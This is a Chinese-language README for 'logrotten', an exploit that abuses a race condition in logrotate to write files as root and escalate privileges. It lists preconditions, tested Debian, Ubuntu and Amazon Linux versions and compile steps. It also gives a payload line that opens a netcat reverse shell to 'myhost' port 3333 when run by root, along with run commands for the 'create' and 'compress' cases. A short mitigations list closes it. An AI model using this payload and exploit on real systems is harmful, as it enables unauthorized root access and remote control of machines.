[!WARNING]
此仓库已迁移至 https://codeberg.org/whotwagner/logrotten。请访问新地址以获取最新更新。
利用 logrotate 中的竞态条件提升权限

简要描述
- logrotate 在重命名日志文件后存在竞态条件漏洞。
- 如果 logrotate 以 root 身份执行,且配置了创建文件的选项(如 create、copy、compress 等),并且用户能够控制日志文件路径,则可能利用该竞态条件在任何目录中写入文件。
- 攻击者可以通过向 "/etc/bash_completition.d/" 等目录写入反向 shell 来提升权限。
权限提升的前提条件
- Logrotate 必须以 root 身份执行
- 日志路径必须由攻击者控制
- logrotate 配置中设置了任何会创建文件的选项
测试版本
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
编译
- gcc -o logrotten logrotten.c
准备 payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
运行 exploit
如果在 logrotate.cfg 中设置了 "create" 选项:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
如果在 logrotate.cfg 中设置了 "compress" 选项:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
已知问题
- 在 docker 容器或 lvm2 卷内很难赢得竞态条件。此版本的 logrotten 提高了可靠性。
缓解措施
- 确保日志路径由 root 所有
- 在 logrotate.cfg 中使用 "su" 选项
- 使用 selinux 或 apparmor
作者
参考链接